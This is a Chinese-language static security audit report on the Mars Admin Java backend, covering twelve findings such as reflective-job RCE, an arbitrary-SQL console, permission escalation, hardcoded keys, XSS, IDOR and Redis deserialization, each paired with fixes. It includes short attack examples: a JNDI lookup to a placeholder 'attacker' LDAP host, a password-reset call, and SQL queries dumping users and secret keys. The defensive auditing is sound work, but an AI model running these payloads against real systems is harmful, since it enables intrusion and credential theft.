Mars-Admin系统安全审计报告

22次阅读
没有评论

Mars Admin 系统安全审计报告

审计日期:2026-08-10 · 审计方式:静态代码审读(只读,未改动任何文件)
审计范围:反序列化 · 命令执行 / RCE · SQL 注入 · 未授权访问 · XSS · SSRF · 越权 / IDOR
项目路径:/mars/mars-server
代码来源:https://gitee.com/Marsfactory/mars.git

结论摘要:3 严重 / 4 高危 / 5 中危 / 加固项若干,另有 9 项疑似点已核查排除。

该系统存在 2 条可直通服务器/数据库的严重攻击链:

  1. 定时任务反射调用无任何白名单/黑名单校验(JobInvokeUtil 的 Class.forName().newInstance() + method.invoke()),配合权限切面的“读权限即可写”放大逻辑(system:job:list 即可增删改跑任务)—— 低权限用户可直接 RCE / 篡改任意用户密码。
  2. SQL 日志控制台用真实数据源执行任意 SELECT,默认口令可猜测(admin/mars666、admin/changeme),任意已登录用户(含 C 端小程序用户)即可导出全库数据(含 sys_config 中的签名密钥 / SM4 密钥)。

此外文件上传/下载接口普遍缺少权限与类型校验,形成同源存储型 XSS 与全量文件越权读取。Redis 序列化开启 Jackson 多态并回退 JDK 原生反序列化,生产默认口令为空 —— 一旦 Redis 暴露即可 RCE。

建议优先修复 S-01 / S-02 / S-03。


漏洞清单 · 按严重程度排序

S-01 【严重】Quartz 定时任务反射调用无校验 → 任意代码执行 (RCE)

影响:服务器完全失陷:可 JNDI 反序列化 RCE、或直接调用任意 Spring Bean 方法篡改任意用户密码 / 读库 / 外联。

缺陷位置

  • mars-server/src/main/java/com/mars/admin/framework/quartz/util/JobInvokeUtil.java — Class.forName(...).getDeclaredConstructor().newInstance() + method.invoke(bean, params);isValidClassName 仅要求 . 数量 > 1,无任何黑名单
  • mars-server/src/main/java/com/mars/admin/modules/system/service/impl/SysJobServiceImpl.java:68 — insertJob 仅校验 cron,不校验 invokeTarget
  • mars-server/src/main/java/com/mars/admin/framework/aspect/BaseControllerPermissionAspect.java:127 — LIST_ONLY 放行

攻击链

  1. 持有 system:job:list(只读权限)即可走 AOP 放行 → 新增 / 修改 / 立即运行任务。
  2. 新增任务 invokeTarget 填任意类方法,如 JNDI 注入:
// isValidClassName 仅要求 '.' 数量 > 1,无任何黑名单;JDK17 下走 LDAP 反序列化 gadget 链
org.springframework.jndi.JndiLocatorDelegate.lookup('ldap://attacker:1389/exp')
// 或调用任意 Spring Bean 方法:
sysUserService.resetPassword(1, '123456')

修复建议

  • 对 invokeTarget 做白名单(仅允许项目内指定类 + 指定方法),比黑名单更稳妥。
  • 至少按 RuoYi 方式屏蔽 javax.* / java.* / sun.* / org.springframework.jndi 等前缀。
  • 任务管理收口到按钮级权限(system:job:add/edit/remove/run),移除 LIST_ONLY 对 job 模块的放行。
  • 运行参数仅支持基础类型并做长度限制;新任务一律 PAUSE(当前已是)。

S-02 【严重】SQL 日志控制台执行任意 SQL → 全库数据泄露

影响:任何已登录用户(含 C 端小程序用户 token)用可猜测的默认口令登录后,可导出整个数据库(含用户密码哈希、sys_config 密钥、会话、业务数据)。

缺陷位置

  • mars-server/src/main/java/com/mars/admin/modules/base/controller/SqlLogPageController.java:90 — dataSource.getConnection().prepareStatement(sql).executeQuery() 直接执行并回显
  • mars-server/src/main/java/com/mars/admin/framework/config/SqlLogProperties.java — 默认 admin/admin
  • application-dev.yml — admin/mars666;application-prod.yml — admin/changeme
  • SqlLogPageController.java:267-297 — 黑名单可绕过

攻击链

  1. /sqlLog/** 未被 Sa-Token 排除 → 任意有效 token 即可进入登录页;凭弱口令二次登录。
  2. 黑名单仅拦 delete/update/drop/alter/insert 等前缀,且只做小写 startsWith("select") 开头校验 —— SELECT ... INTO OUTFILE、LOAD_FILE()、@@datadir 均未拦截。
  3. 任意 SELECT 直接回显结果:
SELECT * FROM sys_user;
SELECT config_key, config_value FROM sys_config;  -- 取 signSecret / sm4Key

修复建议

  • 移除该控制台,或改为只读数据库账号(DBA 单独建最小权限账号)+ 强制复杂口令 + 双因素。
  • 不直接执行用户 SQL —— 改用预编译参数 + 白名单查询模板(表 / 列 / 操作符枚举)。
  • 接口加 system:monitor:sql 按钮级权限;记录审计日志。
  • 黑名单补齐 INTO OUTFILE / LOAD_FILE / @@ / information_schema / 注释符绕过 并做二次 URL/大小写归一化。

S-03 【严重】权限切面 LIST_ONLY:读权限 (list) 授予模块内全部写操作

影响:权限放大 —— 仅“查看”权限即可新增/编辑/删除/执行,是 S-01、S-04 的入口。

缺陷位置

  • mars-server/src/main/java/com/mars/admin/framework/aspect/BaseControllerPermissionAspect.java:33-40,127
  • LIST_ONLY_MODULES = system:dept · post · dict · config · job · sysSetting

攻击链

if (LIST_ONLY_MODULES.contains(module)
        && StpUtil.hasPermission(listPermission)) return;  // 直接放行全部操作
// → system:sysSetting:list 可 saveAll 篡改安全密钥与对外凭据
// → system:config:list 可改系统参数,system:dict:list 可改字典
// → system:job:list 可增删改跑任务 = S-01 RCE

修复建议

  • 移除 LIST_ONLY 快捷放行,改为每个写方法独立 @SaCheckPermission("xxx:add/edit/remove")。
  • 若保留快捷逻辑,仅放行 read 类方法(pageList / getById / getInfo / export),其余一律按按钮权限校验。
  • 对 system:job、system:sysSetting、system:config 三个高危模块优先整改。

S-04 【高危】安全密钥硬编码默认值 + 可被低权限读取 / 篡改

影响:API 签名密钥 / SM4 密钥可被窃取或改写 → 绕过签名校验、解密加密响应、接管邮箱 / 短信 / OSS / 支付凭据。

缺陷位置

  • mars-server/src/main/java/com/mars/admin/modules/system/service/impl/SysSettingServiceImpl.java:181 — signSecret 默认 mars-sign-secret
  • SysSettingServiceImpl.java:196 — sm4Key 默认 0123456789abcdeF
  • SysSettingController — getAll / saveAll / saveGroup

攻击链

  1. 任何人持有 system:sysSetting:list 即可 getAll —— 明文拿到密钥;按 S-03 还能直接 saveAll 改写。
  2. 拿默认 / 窃取的 secret 即可伪造 MD5(timestamp+nonce+secret+method+uri+body) 签名。
  3. 改写 encryptEnabled / signEnabled 可关闭加密与签名。

修复建议

  • 密钥改为环境变量 / 配置中心注入,且禁止后端下发明文(getAll 脱敏,只回显掩码)。
  • 保存密钥的接口拆分并加 system:sysSetting:edit 权限,与“list”彻底解耦(结合 S-03)。
  • 外联凭据(邮箱 / SMS / OSS / 支付)应加密存储、按需解密,不从配置回显。

S-05 【高危】任意文件上传 + 同源静态托管 → 存储型 XSS

影响:可上传 .html / .svg 并同源访问执行 JS → 窃取管理端 token、以管理员身份调用接口。

缺陷位置

  • mars-server/src/main/java/com/mars/admin/framework/oss/strategy/impl/LocalFileUploadStrategy.java:50-100 — 保留原扩展名(UUID + 原扩展名),无类型校验
  • mars-server/src/main/java/com/mars/admin/framework/config/WebMvcConfig.java:112 — /file/** 同源静态服务
  • mars-server/src/main/java/com/mars/admin/modules/base/controller/LocalFileController.java — /files/** inline 预览

攻击链

  1. yml 虽有 allowed-types,但服务端上传逻辑未做任何校验,扩展名随原文件保留。
  2. 上传 x.html / x.svg → 访问 /file/…/x.html 或 /file/preview/{id}(inline)→ 脚本在上传域执行。
  3. 管理端无 CSRF token(Bearer 直读),JS 可直接带 token 调任意管理接口。

修复建议

  • 服务端强制扩展名 + Content-Type 白名单;图片校验文件魔数(sniff 头字节)。
  • 静态服务对 .html / .svg / .js / .xml 强制 Content-Disposition: attachment。
  • 上传文件域名独立于管理后台(或走 CDN + 严格 CORS)。

S-06 【高危】文件下载 / 预览 / 预签名接口零权限校验 → 全量文件越权读取 (IDOR)

影响:任意已登录用户(含 C 端小程序用户)可下载 / 预览他人上传的全部文件(身份证、合同、发票等)。

缺陷位置

  • mars-server/src/main/java/com/mars/admin/modules/base/controller/FileDownloadController.java — download / preview / preview-info 无注解
  • mars-server/src/main/java/com/mars/admin/modules/base/controller/FileUploadController.java — getById / presigned-url / page / types 无注解
  • mars-server/src/main/java/com/mars/admin/framework/aspect/BaseControllerPermissionAspect.java — module 为空则跳过

攻击链

  1. 这两个 Controller 无 @SaCheckPermission、无 @PermissionModule → AOP 因无法解析模块直接跳过。
  2. 多端登录共用同一 Sa-Token 命名空间:C 端小程序用户 token 同样通过登录校验。
  3. GET /file/preview/{任意fileId} → 读取任意上传文件(无 uploader 归属校验)。

修复建议

  • 下载 / 预览 / 详情 / 预签名全部加 system:file:query 权限。
  • 增加归属校验(uploaderId == 当前用户 或显式共享 / 公开标记)。
  • 管理端接口校验 loginId 前缀必须为系统用户,拒绝 C 端用户 token。

S-07 【高危】Redis 反序列化:Jackson 多态 + JDK 原生兜底(Redis 暴露即可 RCE)

影响:Redis 口令默认为空 / 弱口令;一旦可写即触发反序列化 RCE;即使不 RCE,也可读取全量 Redis(含所有用户会话)。

缺陷位置

  • mars-server/src/main/java/com/mars/admin/framework/config/RedisConfig.java — activateDefaultTyping(LaissezFaireSubTypeValidator, NON_FINAL) + CompatibleRedisSerializer 回退裸 ObjectInputStream.readObject()
  • mars-server/src/main/java/com/mars/admin/modules/base/controller/CacheMonitorController.java:909-918 — 无 ObjectInputFilter 的 deserializeJdkObject
  • application-prod.yml — redis.password 默认空;application-dev.yml — 默认 123456

攻击链

  1. 若 Redis 绑定 0.0.0.0(常见 docker)且无密码 → 直接写精心构造的 key → 任一缓存读取点触发反序列化 → RCE。
  2. /system/cache/detail/{key}(system:cache:detail:view)可 URL 解码读取任意 Redis key 并反序列化回显 —— 含其他用户 Sa-Token 会话。

修复建议

  • activateDefaultTyping 改为显式类型白名单,或对关键序列化对象自定义类型映射,避免多态反序列化。
  • 所有 ObjectInputStream 加 ObjectInputFilter 白名单(仅允许本项目 DTO / 基础类型)。
  • Redis 强制强口令、禁止公网监听、非默认端口。
  • cache/detail 收口到高权限角色,并限制只能读本项目前缀的 key,禁止任意 key 反序列化回显。

S-08 【中危】API 签名无 nonce 追踪(可重放) + 默认密钥

影响:签名窗口(默认 300s)内请求可无限重放;配合 S-04 默认 secret 可完全伪造签名。

缺陷位置

  • mars-server/src/main/java/com/mars/admin/framework/interceptor/ApiSignInterceptor.java — 无 nonce 存储 / 判重

说明

  • 方案为 MD5(timestamp + nonce + secret + METHOD + uri + body),nonce 生成后从未落库比对。
  • GET / DELETE 请求体按 "" 参与签名,无副作用校验。

修复建议

  • nonce 写入 Redis 判重(TTL = 签名窗口),重复即拒绝。
  • 升级为 HMAC-SHA256;强制通过环境变量注入密钥并定期轮换。

S-09 【中危】生产只读拦截器 contains 子串白名单绕过

影响:生产“只读演示”保护可被任意含白名单子串的写请求绕过,增删改照常执行。

缺陷位置

  • mars-server/src/main/java/com/mars/admin/framework/interceptor/ProductionReadOnlyInterceptor.java:83 — WHITELIST_PATHS.stream().anyMatch(requestURI::contains)
  • application-prod.yml — mars.production.read-only.enabled: true
WHITELIST_PATHS.stream().anyMatch(requestURI::contains)
// 任何含 /export、/file/upload、/actuator、/health、/auth/login 子串的路径均放行
// 例:POST /file/upload-confirm、POST /system/user/exportAll

修复建议

  • 改用 AntPathMatcher 精确匹配,或反转策略:仅显式白名单“读接口”。

S-10 【中危】分页拦截器数据库连接泄漏 → 连接池耗尽 DoS

影响:count 查询的连接从不关闭;高并发或持续访问下连接池(max-active 20)耗尽,全站不可用。pageSize 无上限可拖垮数据库。

缺陷位置

  • mars-server/src/main/java/com/mars/admin/framework/config/MybatisFlexPageInterceptor.java:57 — getDataSource().getConnection() 未关闭

修复建议

  • try-with-resources 关闭连接;count 走 MyBatis-Flex 自身 count 能力,不手搓 JDBC。
  • pageSize 服务端硬上限(如 100),并拦截 offset 过大。

S-11 【中危】WebSocket token 放在 URL 查询参数

影响:会话 token 出现在 URL,落入访问日志 / 反向代理 / CDN 日志,泄露面扩大。

缺陷位置

  • mars-server/src/main/java/com/mars/admin/modules/chat/websocket/WebSocketInterceptor.java:63-73 — ?token=…

修复建议

  • 握手阶段通过 Sec-WebSocket-Protocol 或 Header 携带 token;或首条消息鉴权,连接内一次性校验。

S-12 【中危】C 端(小程序)用户 token 可访问管理端无注解接口

影响:PC / App / 小程序多端登录共用同一 Sa-Token 命名空间;凡无 @SaCheckPermission、无 @PermissionModule 的管理端接口(如 S-06 文件读取)对 C 端用户一律开放。

缺陷位置

  • mars-server/src/main/java/com/mars/admin/framework/config/SaTokenConfiguration.java — 仅校验 StpUtil.checkLogin
  • mars-server/src/main/java/com/mars/admin/framework/strategy/LoginStrategyFactory — 多端登录

修复建议

  • 管理端接口统一校验 loginId 前缀为系统用户(区分 admin / app token 类型)。
  • 给所有管理端 Controller 补全模块注解 + 按钮权限,消灭“module 为空跳过”的漏洞面。

加固建议 · 低风险 / 配置硬化

项目 位置 风险 / 建议
默认密码 123456 SysUserController.save:73 初始化密码未强制修改(sys.password.forceChange 默认关);建议首次登录强制改密。
Druid 监控弱口令 application-*.yml admin/changeme;multi-statement-allow: true 请关闭(配合 Wall Filter 阻断多语句)。
遗留数据库名 application-prod.yml:12 默认库名 chaoyou 疑似复制粘贴遗留;dev 为 root/root。
鉴权排除列表过宽 sa-token.exclude-paths 含 /test/** /actuator/** /druid/** /v3/api-docs/**;当前无对应控制器,建议删除 /test/** 并收紧。
注册功能 AuthRegisterService / sys.register.* 默认关闭(良好);若开启,确认 sys.register.defaultRole 不授予管理角色,且邮箱验证默认开启。
字段名拼接 BasePlusMapper.*ByField fieldName 直接拼进 .where() / .orderBy();已核查所有调用点为硬编码字面量、当前不可达,建议仍改造为枚举白名单。
OpenAPI / 生产配置 application-prod.yml springdoc / knife4j 生产已禁用(良好项);保持。

已核查排除的疑似项(非问题)

疑似点 核查结论
ChatMapper XML 注入 全部 #{} 参数化,无拼接,无 SQL 注入。
小程序登录 SSRF 请求 host 固定 api.weixin.qq.com,非真实 SSRF。
/test/** 未授权 代码库中不存在任何 test 控制器,无实际暴露面。
OperationLogAspect SpEL SpEL 取自注解常量,非用户输入,无注入。
个人资料 / 改密越权 updateProfile / changePassword 均限定当前登录用户,无 IDOR。

修复优先级

优先级 编号 一句话动作
立即 S-01 / S-02 / S-03 封死两条 RCE/泄库链路:invokeTarget 白名单、移除 LIST_ONLY 放行、SQL 控制台收口。
本周 S-04 / S-05 / S-06 / S-07 密钥脱敏 + 改独立权限、上传类型白名单、文件接口加权限 + 归属校验、Redis 强口令 + 反序列化白名单。
短期 S-08 / S-09 / S-10 / S-11 / S-12 nonce 判重、只读匹配改精确、连接泄漏、WS token 迁移、管理端接口加前缀校验。
持续 加固表 默认口令清理、Druid 多语句关闭、鉴权排除收紧、BasePlusMapper 字段白名单。

说明

  • 本报告为静态代码审读结论,未实际执行任何攻击利用(只读审计,未改动文件)。
  • 行号以审计当时代码为准,后续代码变更可能导致行号偏移。
  • 建议修复后在受控环境按 S-01 / S-02 复测一次,确认封堵效果。
正文完
 0
评论(没有评论)